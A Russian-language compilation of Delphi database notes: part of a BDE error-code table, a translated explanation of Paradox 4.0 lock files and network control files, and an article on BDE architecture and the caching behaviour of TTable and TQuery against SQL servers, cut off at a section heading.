$2EAE (11950) = Record or field constraint failed.
$2EAF (11951) = When GROUP BY exists, every simple field in projectors must be in GROUP BY.
$2EB0 (11952) = User defined function is not defined.
$2EB1 (11953) = Unknown error from User defined function.
$2EB2 (11954) = Single row subquery produced more than one row.
$2EB3 (11955) = Expressions in group by are not supported.
$2EB4 (11956) = Queries on text or ascii tables is not supported.
$2EB5 (11957) = ANSI join keywords USING and NATURAL are not supported in this release.
$2EB6 (11958) = SELECT DISTINCT may not be used with UNION unless UNION ALL is used.
$2EB7 (11959) = GROUP BY is required when both aggregate and non-aggregate fields are used in result set.
$2EB8 (11960) = INSERT and UPDATE operations are not supported on autoincrement field type.
$2EB9 (11961) = UPDATE on Primary Key of a Master Table may modify more than one record.
$2EBA (11962) = Queries on MS ACCESS tables are not supported by local query engines.
$2EBB (11963) = Preparation of field-level constraint failed.
$2EBC (11964) = Preparation of field default failed.
$2EBD (11965) = Preparation of record-level constraint failed.
$2EC4 (11972) = Constraint Failed. Expression:
$2F01 (12033) = Interface mismatch. Engine version different.
$2F02 (12034) = Index is out of date.
$2F03 (12035) = Older version (see context).
$2F04 (12036) = .VAL file is out of date.
$2F05 (12037) = BLOB file version is too old.
$2F06 (12038) = Query and Engine DLLs are mismatched.
$2F07 (12039) = Server is incompatible version.
$2F08 (12040) = Higher table level required
$3001 (12289) = Capability not supported.
$3002 (12290) = Not implemented yet.
$3003 (12291) = SQL replicas not supported.
$3004 (12292) = Non-blob column in table required to perform operation.
$3005 (12293) = Multiple connections not supported.
$3006 (12294) = Full dBASE expressions not supported.
$3101 (12545) = Invalid database alias specification.
$3102 (12546) = Unknown database type.
$3103 (12547) = Corrupt system configuration file.
$3104 (12548) = Network type unknown.
$3105 (12549) = Not on the network.
$3106 (12550) = Invalid configuration parameter.
$3201 (12801) = Object implicitly dropped.
$3202 (12802) = Object may be truncated.
$3203 (12803) = Object implicitly modified.
$3204 (12804) = Should field constraints be checked?
$3205 (12805) = Validity check field modified.
$3206 (12806) = Table level changed.
$3207 (12807) = Copy linked tables?
$3209 (12809) = Object implicitly truncated.
$320A (12810) = Validity check will not be enforced.
$320B (12811) = Multiple records found, but only one was expected.
$320C (12812) = Field will be trimmed, cannot put master records into PROBLEM table.
$3301 (13057) = File already exists.
$3302 (13058) = BLOB has been modified.
$3303 (13059) = General SQL error.
$3304 (13060) = Table already exists.
$3305 (13061) = Paradox 1.0 tables are not supported.
$3306 (13062) = Update aborted.
$3401 (13313) = Different sort order.
$3402 (13314) = Directory in use by earlier version of Paradox.
$3403 (13315) = Needs Paradox 3.5-compatible language driver.
$3501 (13569) = Data Dictionary is corrupt
$3502 (13570) = Data Dictionary Info Blob corrupted
$3503 (13571) = Data Dictionary Schema is corrupt
$3504 (13572) = Attribute Type exists
$3505 (13573) = Invalid Object Type
$3506 (13574) = Invalid Relation Type
$3507 (13575) = View already exists
$3508 (13576) = No such View exists
$3509 (13577) = Invalid Record Constraint
$350A (13578) = Object is in a Logical DB
$350B (13579) = Dictionary already exists
$350C (13580) = Dictionary does not exist
$350D (13581) = Dictionary database does not exist
$350E (13582) = Dictionary info is out of date - needs Refresh
$3510 (13584) = Invalid Dictionary Name
$3511 (13585) = Dependent Objects exist
$3512 (13586) = Too many Relationships for this Object Type
$3513 (13587) = Relationships to the Object exist
$3514 (13588) = Dictionary Exchange File is corrupt
$3515 (13589) = Dictionary Exchange File Version mismatch
$3516 (13590) = Dictionary Object Type Mismatch
$3517 (13591) = Object exists in Target Dictionary
$3518 (13592) = Cannot access Data Dictionary
$3519 (13593) = Cannot create Data Dictionary
$351A (13594) = Cannot open Database
$3E01 (15873) = Wrong driver name.
$3E02 (15874) = Wrong system version.
$3E03 (15875) = Wrong driver version.
$3E04 (15876) = Wrong driver type.
$3E05 (15877) = Cannot load driver.
$3E06 (15878) = Cannot load language driver.
$3E07 (15879) = Vendor initialization failed.
$3E08 (15880) = Your application is not enabled for use with this driver.
$3F01 (16129) = Query By Example
$3F02 (16130) = SQL Generator
$3F03 (16131) = IDAPI
$3F04 (16132) = Lock Manager
$3F05 (16133) = SQL Driver
$3F06 (16134) = IDAPI Services
$3F07 (16135) = dBASE Driver
$3F08 (16136) = Dictionary Manager
$3F0B (16139) = Token
$3F0D (16141) = Table
$3F0E (16142) = Field
$3F0F (16143) = Image
$3F10 (16144) = User
$3F11 (16145) = File
$3F12 (16146) = Index
$3F13 (16147) = Directory
$3F14 (16148) = Key
$3F15 (16149) = Alias
$3F16 (16150) = Drive
$3F17 (16151) = Server error
$3F18 (16152) = Server message
$3F19 (16153) = Line Number
$3F1A (16154) = Capability
$3F1B (16155) = Dictionary
$3F1D (16157) = Object
$3F1E (16158) = Limit
$3F1F (16159) = Expression
$3F70 (16240) = WORK
$3F71 (16241) = PRIV
$3F72 (16242) = Records copied
$3F73 (16243) = Records appended
$3F74 (16244) = LineNo
$3F75 (16245) = Line
$3F76 (16246) = Reason

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Протокол блокировки BDE

Данная информация будет полезна каждому, кто решил разрабатывать приложения для работы с базами данных с использованием Delphi и BDE.

Таблицы, типы полей и поддерживаемые характеристики
Каждый следующий выпуск Paradox, начиная с версии 2.0, содержал улучшения структуры таблицы. Все типы таблиц Paradox, начиная с Paradox 1.0 и заканчивая Paradox 3.5, совместимые друг с другом.
Paradox 4.0 добавляет новый тип данных к формату таблиц: Binary Large Objects (бинарные большие объекты), обычно известные как BLOb'ы, и новые типы вторичных индексов. Paradox 4.0 поддерживает два типа BLOb-полей: Memo и BLOb. Paradox старее версии 4.0 и Engine до версии 3.0 не могут читать, писать и создавать этот новый табличный формат. При попытке чтения или записи таблиц типа Paradox 4.0 более ранней версией Paradox, вы получите ошибку о защите таблицы паролем.
Paradox 5.0 добавляет несколько новых типов данных к формату таблиц: Long Integer, Time, TimeStamp, Logical, Autoincrement, BCD, Bytes. Paradox 7.0 добавляет наследуемый вторичный индекс. Создание или любое изменение таблицы переводит ее формат на новый уровень, включающий все вышеописанные характеристики. По умолчанию создаваемая с использованием Database Desktop или BDE (Borland Database Engine) таблица имеет тип Paradox 4.0. Данный тип, заданный по умолчанию, может быть изменен с помощью утилиты BDE configuration utility или Database desktop configuration utility, и ему может быть присвоен тип Paradox 3, 4, 5 или 7 для BDE.
Paradox 4.0 может читать, писать и создавать таблицы типа Paradox, совместимые с таблицами версий от Paradox 1.0 до Paradox 4.0. Так, таблица, созданая в Paradox 1.0, совместима с Paradox 4.0. Таблица, созданная в Engine 1.0 или 2.0, может быть прочитана и записана в Paradox 4.0.
Paradox и Engine не изменяет тип таблицы при чтении или записи. Тип таблицы изменяется только при ее реструктуризации.

Протоколы блокировки Paradox
Есть два различных протокола блокировки Paradox: протокол, введенный в Paradox 2.0 и протокол, введенный в Paradox 4.0. Эти два протокола не совместимы друг с другом. Протокол блокировки не оказывает влияния на тип таблицы, с которым может работать программа. Существуют несколько программ, также поддерживающих протоколы блокировки; тем не менее, эти программы в отдельный момент времени могут поддерживать только один протокол. Здесь мы рассматриваем только протокол блокировки версии 4.0.

Протокол блокировки Database Desktop/ Paradox 4.0
Протокол блокировки Paradox 4.0 - единственный протокол, доступный для Paradox 4.0 и IDAPI Engine. Обозначение "Paradox 4.0 locking protocol" представляет данный стиль блокировки.

Блокировки каталога
Paradox 4.0 располагает файл блокировки, PDOXUSRS.LCK, в каждом каталоге, в котором доступны таблицы. Файл блокировки регулирует доступ к файлам, расположенным в каталоге. Файл блокировки ссылается на PDOXUSRS.NET, поэтому все пользователи должны подключать данные по одному и тому же пути. При этом в каталоге также располагается эксклюзивный файл PARADOX.LCK. Это делается для того, чтобы предохранить те версии Paradox или Engine, которые используют старую блокировочную систему, от неумышленного получения доступа к таблицам.

Рабочие каталоги и каталоги общего доступа
Когда Paradox или Database Desktop необходимо получить доступ к таблицам, расположенным в каталоге, то в этом каталоге они размещают "общий" файл PDOXUSRS.LCK и "эксклюзивный" файл PARADOX.LCK. Этим способом они "метят" каталог для того, чтобы другие пользователи Paradox 4.0 также могли иметь доступ к таблицам, расположенным в данном каталоге. Эксклюзивный файл PARADOX.LCK устанавливается в этом каталоге для обеспечения работы несовместимого протокола блокировки, и, таким образом, для уменьшения риска при постинге данных. В Paradox'е этот каталог известен как рабочий, "Working" каталог.

Частные/эксклюзивные каталоги
Для Paradox и Database Desktop также необходим каталог, где они могли бы сохранять временные файлы, например, результаты запроса. При запуске Paradox или Paradox Runtime, они также размещают в каталоге "эксклюзивные" файлы PDOXUSRS.LCK и PARADOX.LCK, определяя данный каталог как место для хранения временных файлов. Это обозначает, что другие пользователи Paradox не смогут получить доступ к таблицам в этом каталоге. В Paradox'е этот каталог известен как частный, "Private" каталог.

Блокировка таблицы
Paradox 4.0 размещает каждую табличную блокировку в блокирующем файле PDOXUSRS.LCK, располагаемом в каталоге с таблицами. Теперь нет необходимости в использовании отдельного блокирующего файла для каждой таблицы, как это было в предыдущих версиях. Например, если три пользователя просматривают таблицу CUSTOMER.DB и один пользователь реструктуризирует таблицу ORDERS.DB, то файл PDOXUSRS.LCK будет иметь общую блокировку, указывающую на каждого из тех трех пользователей, просматривающих таблицу CUSTOMER.DB, и эксклюзивную блокировку на ORDERS.DB для пользователя, реструктуризирующего таблицу.

Протокол блокировки параллельности Paradox 4.0 (Locking Protocol Concurrency)
В многопользовательской среде протокол блокировки Paradox 4.0 поддерживает параллелизм, т.е. одновременное использование приложений, через файл PDOXUSRS.NET. Все пользователи, которые хотят иметь общий доступ к таблицам Paradox, должны иметь один и тот же путь к файлу PDOXUSRS.NET, но при этом логическая буква сетевого диска может отличаться. Для того, чтобы предотвратить доступ к файлам, расположенным в каталоге, предыдущим версиям, Paradox размещает PDOXUSRS.LCK и эксклюзивный файл PARADOX.LCK в каждом каталоге, где имеются доступные таблицы. Каждый пользователь, который хочет дать общий доступ к таблице в этом каталоге, должен подключить этот каталог с одним и тем же путем, с использованием одного логического сетевого диска и пути. Затем Paradox разместит всю информацию о блокировках для этой таблице в файле PDOXUSRS.LCK, уменьшая этим количество необходимых файлов.

Сетевой управляющий файл (Network Control File)
Сетевой управляющий файл Paradox, PDOXUSRS.NET, служит в качестве контрольной точки для всех блокирующих файлов, создаваемых Paradox. Net-файл содержит список пользователей, в настоящий момент использующих BDE, вместе со списком используемых ими таблиц. Каждый блокирующий файл ссылается на сетевой управляющий файл и содержит информацию о блокировках таблицы и пользователях, заблокировавших эти таблицы, поэтому все пользователи должны иметь один и тот же путь к сетевому управляющему файлу, но при этом логическая буква сетевого диска может отличаться.
Например, если вы используете том DATA на сервере SERVER_1, и сетевой управляющий файл расположен в каталоге \PDOXDATA, то все пользователи должны использовать путь \\SERVER_1\DATA:\PDOXDATA, тем не менее, любой пользователь может при этом использовать свою логическую букву сетевого диска. Если в вашей сети не пользуют тома, DATA должен быть корневым каталогом SERVER_1.
Если вы подключаете \\SERVER_1\DATA в корень диска P, то каждая система Paradox должна определять расположение PARADOX.NET как P:\PDOXDATA\. Тем не менее, другие пользователи могут подключить \\SERVER_1\DATA к корневому каталогу O и установить O:\PDOXDATA\ как местоположение сетевого управляющего файла.

Конфигурирование 16-битного Database Engine / IDAPI.CFG
Файл конфигурации Database Engine хранит специфическую сетевую информацию, список псевдонимов баз дынных и другую информацию. Вы можете конфигурировать IDAPI с помощью программы конфигурации Database Engine, BDECFG.EXE, и устанавливать с помощью нее месторасположение сетевого управляющего файла. Также возможно добавление, удаление и изменение псевдонимов баз данных (включая информацию об используемом драйвере и типе псевдонима), каким способом IDAPI осуществляет общий доступ к локальным таблицам для программ, использующих протокол блокировки Paradox 4.0, а также некоторые особенности относительно таблиц и способа отображения данных.

Локальные 16-битные установки
Файл WIN.INI содержит путь к файлу IDAPI.CFG, "рабочему" ("Working") каталогу Database Desktop и "частному" ("Private") каталогу Database Desktop. Для изменения этих значений необходимо загрузить файл WIN.INI в любой текстовый редактор и отредактировать его. Путь к файлу IDAPI.CFG описан в группе [IDAPI] как CONFIGFILE=<полный диск, путь и имя файла> или CONFIGFILE01=<полный диск, путь и имя файла>.
Месторасположение "рабочего" ("Working") и "частного" ("Private") каталога Database Desktop описано в группе [DBD] соответственно как WORKDIR=<полный диск и каталог> и PRIVDIR=<полный диск и каталог>.

Конфигурирование 32-битного Database Engine / IDAPI32.CFG
Конфигурационный файл BDE хранит ту же информацию, что и конфигурационный файл Database Engine. Для конфигурирования IDAPI32.CFG используется утилита BDE Configuration, BDECFG32.EXE. Вдобавок к этому, вы можете сохранять информацию в регистрах, или сразу, и в регистрах, и в IDAPI32.CFG.

Локальные 32-битные установки
В регистрах содержится путь к IDAPI32.CFG, к "рабочему" ("Working") и частному ("Private") каталогу. Месторасположение файла IDAPI32.CFG хранится в ключе HKEY_LOCAL_MACHINE\Software\Borland\Database Engine. Значение CONFIGFILE01 содержит данные типа <полный диск, путь и имя файла>.
Месторасположение каталогов BDE "Working" и "Private" хранится соответственно в ключах HKEY_CURRENT_USER\Software\Borland\DBD\7.0\Configuration\WorkDir и HKEY_CURRENT_USER\Software\Borland\DBD\7.0\Configuration\PrivDir. По умолчанию, данные для каждого каталога хранятся в виде <Полный диск и каталог>.

Доступ к таблицам Paradox
BDE сначала пытается получить доступ к файлу PDOXUSRS.NET. Если файл PDOXUSRS.NET не найден, Paradox создает новый файл PDOXUSRS.NET и продолжает процедуру запуска. Если файл PDOXUSRS.NET присутствует, но владелец этого net-файла использует другой путь, т.е. подключил сервер иначе, возникает исключительная ситуация "Multiple net files in use" (Используются несколько net-файлов) и BDE прекращает свою работу. После того, как сеть успешно открыла эксклюзивную блокировку, PARADOX.LCK размещается во временном, частном каталоге. При невозможности установки блокировки, BDE прекращает свою работу. Причина неудачи может заключаться в том, что какой-то пользователь имеет в этом каталоге эксклюзивную блокировку, или же файлы блокировки используют различные net-файлы. После того, как каталог будет защищен от частного использования, общий файл PARADOX.LCK будет расположен в рабочем каталоге, и на этом процесс инициализации будет завершен.

Взято с http://delphiworld.narod.ru


Архитектура BDE и его особенности при работе с SQL-серверами(статья)

Как работает BDE
или
Архитектура BDE и его особенности при работе с SQL-серверами

Кузьменко Дмитрий, www.ibase.ru. 25.08.2000 (исправления от 14.12.2000, 17.08.2001).
Этот материал основан на изучении документации и справочных материалов по BDE и на собственном опыте. На самом деле информация из этого документа частично появлялась и раньше как в FAQ Borland так и в материалах других авторов (в частности Epsylon Technologies). Однако до сих пор большое количество разработчиков используют BDE. Но в последнее время все больше людей работают с SQL-серверами, и более популярными становятся компоненты прямого доступа - IBObjects/FreeIBComponents/IBExpress, Direct Oracle Access и другие. Кроме того, BDE не поддерживается на Linux (в Kylix) и дальше развиваться не будет - The Future of the Borland Database Engine (BDE) and SQL Links (by John Kaster). В Delphi 6 наряду с BDE и в Kylix (Delphi и C++Builder для Linix) используется другая библиотека - dbExpress, которая и предлагается Borland в качестве замены BDE. Поэтому, чтобы поставить жирную точку (или крест, как хотите) на BDE, я и решил написать этот документ.
В большей степени этот текст напоминает то, что я читал на курсах по Delphi и разработке баз данных 3-4 года назад. Привет вам, курсанты! Можете прочитать этот документ хотя бы для того, чтобы освежить память.

Введение
Для начала вернемся лет на 10 назад. В те времена на компьютерах властвовали настольные СУБД - dBase, Paradox, FoxPro, Clipper и т.п. SQL-сервера в основном работали на мэйнфреймах. Среди форматов настольных СУБД был полный разнобой, и например, хотя Clipper, FoxPro и dBase работали с форматом DBF, использовать таблицы друг друга они фактически не могли из-за мелких, но существенных различий. Обмениваться данными в те времена между разными СУБД можно было разве что при помощи импорта-экспорта. Многие компании понимали, что так дальше продолжаться не может. Некоторые встраивали в свои продукты несколько "движков", но это приводило к распуханию продукта, да и чаще всего пользователи работали только с одним форматом данных, а не несколькими одновременно.
В 1990-м году Borland приобрел компанию Ashton-Tate, а вместе с ней и dBase (и Interbase). Таким образом у Borland появилось две настольные СУБД, с совершенно разными форматами - dBase и Paradox. Понятно, что для дальнейшего развития этих продуктов усилия по развитию форматов данных и работы с ними фактически удваивались. И в частности поэтому было принято решение создать некое универсальное ядро доступа к данным, которое могло бы работать с несколькими форматами данных единым образом. Созданию такого ядра также способствовало появление Windows, а следовательно и разделяемых библиотек - DLL. Можно было выпускать несколько продуктов, используя одни и те же dll доступа к данным. Это вполне соответствовало объектно-ориентированной концепции разработки ПО, которая не только использовалась в Turbo Pascal и в Turbo C++, но и при разработке собственных приложений Borland, таких как dBase, Paradox и Quattro (все для Windows).
примечание: дальнейшая информация по датам взята из документа, подзаголовок "Evolution of BDE/IDAPI Technology: 1990 - 94".
Технология была названа Open Database Application Programming Interface - ODAPI, и впервые была использована в Quattro Pro 1.0 for Windows в сентябре 1992 года. В январе 1993-го эта же версия ODAPI 1.0 была использована в Paradox 1.0 for Windows, а затем и в dBase 1.0 for Windows. ODAPI пока поддерживал только форматы dBase и Paradox, и мог выполнять запросы к обоим форматам при помощи механизма Query By Example (QBE), пришедшего из Paradox for DOS.
справка: драйверы ODBC 1.0 от Microsoft впервые появились в августе 1993 года. Информация из MSDN.
Всего через полгода, в сентябре 1993, ODAPI 1.1 уже поддерживала работу с SQL-серверами Interbase, Oracle, Sybase и Microsoft.
Версия 2.0 была переименована в IDAPI (слово Open было заменено на Integrated), и работами по расширению и стандартизации этого интерфейса уже занимался не только Borland, а целый комитет с IBM, Novell и Wordperfect включительно. В этой версии появился Local SQL - ядро для выполнения запросов SQL к локальным форматам данных, и IDAPtor - механизм для подключения ODBC-драйверов к IDAPI.
Последняя 16-ти разрядная версия IDAPI 2.5 использовалась в Delphi 1. Далее, начиная с 3.0 (12 января 1996 года в составе Paradox 5.0 for Windows), пошли 32-разрядные версии. Собственно, на этом развитие функциональности BDE закончилось. Добавлялись новые драйверы для доступа к SQL-серверам DB2, Informix, в BDE 3.5 появились кэшированные обновления (CachedUpdates), появился драйвер FoxPro и сопряжение с DAO, но все это происходило на протяжении достаточно длительного срока - с 1996 по 2000.
С одной стороны, функциональность BDE можно назвать даже избыточной. С другой стороны повлияла конкуренция со стороны Microsoft, стандарта ODBC. Собственно, по функциональности ODBC является подмножеством BDE, но Microsoft в те годы предпринимала очень активные действия по продвижению ODBC, и главным в этом был выпуск ODBC SDK, с помощью которого любая фирма могла разработать собственный ODBC-драйвер (надо сказать, что в те годы их было огромное количество, причем большинство было весьма низкого качества и невысокой производительности). А BDE был более "закрытым". Например, BDE SDK так и не увидел свет, и был доступен разве что избранным (я оказался в их числе, и надо сказать, что качество BDE SDK и удобство написания драйверов было на высоте). С третьей стороны, к этому времени WordPerfect был куплен Novell, Paradox также был продан Novell, а затем Corel, а IBM похоже просто потеряла к IDAPI интерес.
Короче, комитет IDAPI распался, а Microsoft задавил конкуренцией.
Несмотря на перечисленные негативные моменты, BDE активно использовался не только самим Borland, но и многими другими фирмами. Это Novell (продукт InForms), ReportSmith (впоследствии купленный и проданный Borland), CrystalReports (вплоть до версии 5.0 использовал BDE) и так далее.

Архитектура
Увлекшись историей я немного пропустил, зачем все это (BDE) делалось. Частичная цель упоминалась выше - предоставить универсальное ядро доступа к локальным форматам данных. Основная - обеспечить прозрачную работу приложений как с локальными форматами, так и с SQL-серверами. Как сейчас помню, что именно удобство при работе с SQL-серверами рекламировалось как основное. Однако в последние 2-3 года именно эта возможность вызывала наибольшее количество нареканий. Давайте рассмотрим архитектуру BDE.

Основная работа с BDE производится посредством внешнего интерфейса IDAPI (IDAPI32.DLL). Формат данных выбирается в псевдониме (alias) соединения, и в принципе дальше работа с разными форматами ничем не отличается. В том числе и неважно, как работает приложение с BDE - через компоненты VCL DB, которые используют функции BDE, или напрямую (все равно компоненты используют те же функции BDE).
Дальше функции IDAPI транслируют вызовы в функции соответствующего драйвера. Если это драйвер локального формата (dBase, Paradox, FoxPro), то драйвер формата сам работает с соответствующими файлами (таблицами и индексами). Если это SQL Link, то вызовы транслируются в вызовы функций API клиентской части конкретного SQL-сервера. Для каждого сервера SQL Link свой.
IDAPTOR (соединитель с ODBC) и интерфейс к DAO работает точно также как и SQL Link, т.е. просто транслирует вызовы BDE в вызовы ODBC или DAO, непосредственно к формату не имея никакого отношения.
Если посмотреть на файлы BDE, то можно подробно рассмотреть его составные части.
· IDAPI32.DLL - основной интерфейс
· BLW32.DLL, BANTAM.DLL- языковые функции
· *.BTL - файлы с языковыми кодировками.
· IDBAT32.DLL - операции пакетного копирования данных
· IDDR32.DLL - модуль работы с Data Repository
· IDASCI32.DLL - драйвер для работы с текстовым форматом
· IDDAO32.DLL - драйвер трансляции вызовов к DAO
· IDODBC32.DLL - драйвер трансляции вызовов к ODBC
· IDPDX32.DLL - драйвер для работы с форматом Paradox
· IDDBAS32.DLL - драйвер для работы с форматом dBase и FoxPro
· IDQBE32.DLL - ядро обработки запросов QBE
· IDSQL32.DLL - ядро обработки запросов SQL
· SQLINT32.DLL - SQLLink-драйвер трансляции вызовов к Interbase API
· SQLORA32.DLL - SQLLink-драйвер трансляции вызовов к Oracle Call Level Interface
· SQL*32.DLL - другие SQLLink-драйверы
Таким образом, при установке BDE "лишние" файлы можно без проблем выкинуть.
Также, надеюсь, понятно, почему BDE "не работает" с SQL-сервером, если не установлена клиентская часть этого сервера (то же самое по отношению к DAO - без дистрибутива DAO BDE не будет работать с файлами MS Access). Вообще клиентские части SQL-серверов несовместимы между собой абсолютно. Поэтому невозможно написать универсальный SQL Link.
Данный рисунок и список файлов, возможно, развеет популярный миф о том, что Delphi хорошо приспособлена для работы с Interbase. Как видите, Interbase для Delphi столь же равноправен, как скажем, Oracle или любой ODBC-драйвер. В отличие от продуктов Microsoft в BDE нет никаких "обходных" функций для работы со своими форматами, т.е. работа с IB ведется только через SQL Link (без sqlint32.dll BDE вообще не знает, что такое Interbase).
Отдельное место в архитектуре BDE и среди упомянутых файлов занимают Local SQL и QBE Engine. Эти механизмы запросов будут рассмотрены чуть дальше.

TTable и TQuery
TTable и TQuery являются основными компонентами, используемыми при программировании приложений баз данных (TStoredProc не в счет, и без него можно прекрасно обойтись, вызывая процедуры через select или execute в компоненте TQuery). TTable предоставляет доступ как к таблицам, а TQuery позволяет выполнять произвольные запросы. Если с TQuery все понятно - он выполняет тот запрос, который написан в свойстве TQuery.SQL - то TTable скрывает очень много подробностей своей работы от программиста. Без SQL Monitor увидеть все тонкости невозможно (если кто не знает - SQL Monitor находится в меню Database).
Итак, запустите Delphi, откройте SQL Monitor, положите на форму компонент TDatabase, подсоединитесь к серверу, затем положите компонент TTable, присоедините его к алиасу TDatabase и выберите любую таблицу из списка (свойство TableName). Переключитесь на SQL Monitor, сотрите все что там появилось, переключитесь обратно, и включите TTable.Active:=True; Смотрим в SQL Monitor (лог с самого начала):
· первым запросом BDE хочет убедиться, что выбранная нами таблица существует.
· второй запрос выбирает список полей выбранной таблицы, их названий, типов, условий проверки и т.п.
· третий запрос выбирает информацию об индексах указанной таблицы. Определяется, есть ли среди них первичный ключ, и по каким полям построены индексы.
· четвертый запрос почти повторяет второй, и выбирает информацию о полях - условия проверки, "вычисляемость" поля, допустимость NULL и прочее.
· собственно, пятый запрос открывает таблицу, формируя запрос SELECT FIELD1, FIELD2, ... FROM TABLE ORDER BY PK_FIELD ASC.
Заметьте, что подобные запросы выполняются каждый раз при открытии таблицы (любой) компонентом TTable. Перечитывания этих данных можно избежать, если включить у используемого алиаса параметр ENABLE SCHEMA CACHE. При этом считанную первый раз информацию BDE размещает на диске в указанном каталоге (SCHEMA CACHE DIR) в специальном файле, кэширует информацию для SCHEMA CACHE SIZE количества таблиц, и держит эту информацию в кэше в течение SCHEMA CACHE TIME секунд (если -1, то вечно). Если структуры таблиц закэшированы, то при их изменении на сервере (например, добавили новое поле) приложение будет работать со старой структурой, что может вызвать серьезные проблемы в работе приложения. SCHEMA CACHE нужно использовать только тогда, когда структура базы данных определена окончательно и не изменяется. Если все же очень сильно хочется использовать кэширование структур таблиц, то не забывайте правильно установить параметр SCHEMA CACHE TIME. Или при первом за день подключении приложения к серверу сначала кэширование структур можно выключить, отсоединиться, включить и подсоединиться снова - таким образом в самом начале работы кэш структур таблиц будет создан, и будет использоваться в течение дня.
примечание: параметры SCHEMA CACHE не имеют абсолютно никакого отношения к механизму Cached Updates или к кэшированию данных.
Вернемся к запросу, которым TTable открыл таблицу. В конце запроса стоит указание порядка сортирвки - ORDER BY FIELD ASC. По умолчанию TTable сортирует данные в порядке поля первичного ключа. И кстати, если пользоваться свойством TTable.IndexName, то все равно к запросу будет добавляться ORDER BY INDEXFIELD ASC. Таким образом получается, что свойство IndexName при работе с SQL-серверами бессмыслено. Вместо него нужно просто использовать свойство IndexFieldNames. Даже если в этом свойстве указать поле, по которому нет индекса, то все равно BDE "прицепит" к запросу ORDER BY FIELD ASC. Кстати, BDE абсолютно игнорирует направление индекса, и всегда в запросе добавляет ASC, даже если индекс по этому полю создан как DESCENDING (по убыванию). Получается, что отсортировать таблицу в TTable по убыванию нельзя.
примечание: можно было бы отнести этот недостаток на SQL Link для IB, но вполне возможно что просто TTable не в состоянии кэшировать и обновлять данные, отсортированные по убыванию (см. дальше о кэше данных).

Кэширование данных
Как видно из предыдущего раздела, TTable работает с таблицами сервера не каким-то хитрым образом, а формируя самые нормальные SQL-запросы. И тут начинается самое интересное. Оказывается, при выполнении запроса сервер выдает записи клиенту (приложению) по очереди и по одной записи. Причем только "сверху вниз". Как только записи на сервере кончились, сервер сообщает клиенту об этом сигналом EOF вместо выдачи очередной записи. Конечно, в некоторых современных серверах есть произвольное позиционирование и проход по выборке не только сверху вниз но и в обратном порядке, но это требует от сервера достаточно больших ресурсов.
примечание: разумеется, клиентская часть SQL-сервера может принимать записи от сервера "пачками". Но в любом случае получение записи инициируется только вызовом функции fetch, и по этой команде "выбирается" только одна запись. Т.е. приложение получает записи по одной независимо от того, буферизируются они на сервере/клиенте или нет.
Поскольку BDE - вещь универсальная, то он должен обеспечить возможность перемещения по записям вверх и вниз независимо от сервера. Т.е. он должен обеспечивать кэширование записей самостоятельно. Взял запись с сервера - положил в кэш. Это означает, что если вы открыли таблицу в 100 тысяч записей, и нажали в гриде Ctrl-End, то все 100 тысяч записей "приедут" к вам на клиентский компьютер. С таким пожиранием ресурсов надо как то бороться. Если в TQuery можно ограничить количество выбираемых записей условиями запроса, то в TTable этого сделать нельзя, поскольку как мы уже видели, TTable формирует запросы самостоятельно.

Живой и мертвый кэш, или TTable и TQuery
Для решения проблем кэширования TTable было введено два разных механизма кэширования. Для TTable - "живой" кэш, а для TQuery - "мертвый". Для простоты лучше сначала рассмотреть "мертвый" кэш. Вообще тут и рассматривать нечего - при перемещении по записям записи помещаются в кэш. Как только все записи помещены (пользователь "доехал" до конца выборки каким-либо способом), обращения к серверу прекращаются, и любые передвижения пользователя по записям совершаются только в кэше.
У "мертвого" кэша есть побочный эффект - если вызвать метод Locate для поиска записи, то TQuery принудительно выберет все записи в кэш, и только потом будет искать нужную запись в кэше. Собственно, пока запись не считана, неизвестно - попадает она под условие Locate или нет. Поэтому другим способом здесь искать записи невозможно.
"Мертвый" кэш существует до тех пор, пока запрос не будет закрыт (TQuery.Close).
Живой кэш более сложен, и для его понимания придется использовать чуть больше компонент на уже открытой в Delphi форме. Добавьте к TDatabase и TTable компоненты TDataSource и TDBGrid. Grid растяните по вертикали так, чтобы в нем было видно штук 5 записей (7, или 9, не больше). Желательно чтобы в таблице при этом было не меньше 20-30 записей. Поместите кнопку рядом с Grid-ом, в которой на OnClick напишите
Table1.IndexFieldNames:='FIELD';
где FIELD - любое имя поля открытой таблицы, главное чтобы не поле первичного ключа. Наличие индекса по этому полю не обязательно.
Скомпилируйте приложение, запустите его (не забыв запустить SQL Monitor). Поместите курсор грида посередине, как показано на рисунке (на содержимое грида не обращайте внимания - у вас оно будет совершенно другим, в зависимости от выбранной таблицы).

Сотрите все в SQL Monitor. И нажмите кнопку Button1. Теперь возвращаемся к началу лога в SQL Monitor:
· первый запрос выбирает значение поля, по которому нужно отсортировать данные.
· второй запрос выбирает данные от текущей записи и "выше" - см добавку WHERE FIELD < ? ORDER BY FIELD DESC
· третий запрос выбирает запись, которую нужно поместить на место текущей (выборка запомненного первым запросом значения). Кстати, этот запрос у меня почему-то выполнился аж три раза (BDE 5.1.1). Раньше он обычно выполнялся всего один раз.
· четвертый запрос выбирает данные от текущей записи и ниже - см. добавку WHERE FIELD > ? ORDER BY FIELD ASC
Вот это и есть "живой" кэш. Т.е. при любых операциях перемещения по набору данных, отличных от перемещения на одну запись (или PageUp/PageDown) вверх или вниз, TTable уничтожает текущий кэш, перечитывает данные столь экзотическим образом, и создает новую копию кэша. По количеству вызовов isc_dsql_fetch вы можете понять, что как "вверх" так и "вниз" от текущей записи второй и четвертый запросы выбрали ровно столько записей, сколько помещается в Grid. Если вы продолжите движение курсором по одной строке вверх или вниз, то увидите каким способом (зачастую неэффективным) BDE довыбирает необходимые записи (особенно неэффективность проявляется при движении вверх).
Если же курсор находится вверху или внизу грида, то вместо трех запросов отображения данных будет два - выборка текущей записи и выборка записей только вверх или вниз от текущей записи.
Существенный момент - выборка "вверх" всегда использует сортировку по убыванию. Если по полю сортировки нет индекса по убыванию, то Interbase (или другой сервер) будет сортировать результат в памяти или на диске, что существенно медленнее сортировки с использованием индекса. Поэтому "резкие" перемещения, например в конец таблицы при помощи Ctrl-End будут приводить к значительной паузе, пока сервер отсортирует данные и выдаст результат. Повысить скорость в этом случае можно только использованием ClientDataSet, который сортирует кэш вместо выдачи серверу SQL-запросов.
Locate в живом кэше в отличие от мертвого кэша выполняется намного быстрее, т.к. TTable применяет ту же самую технику очистки кэша для поиска нужной записи.

Фильтрация
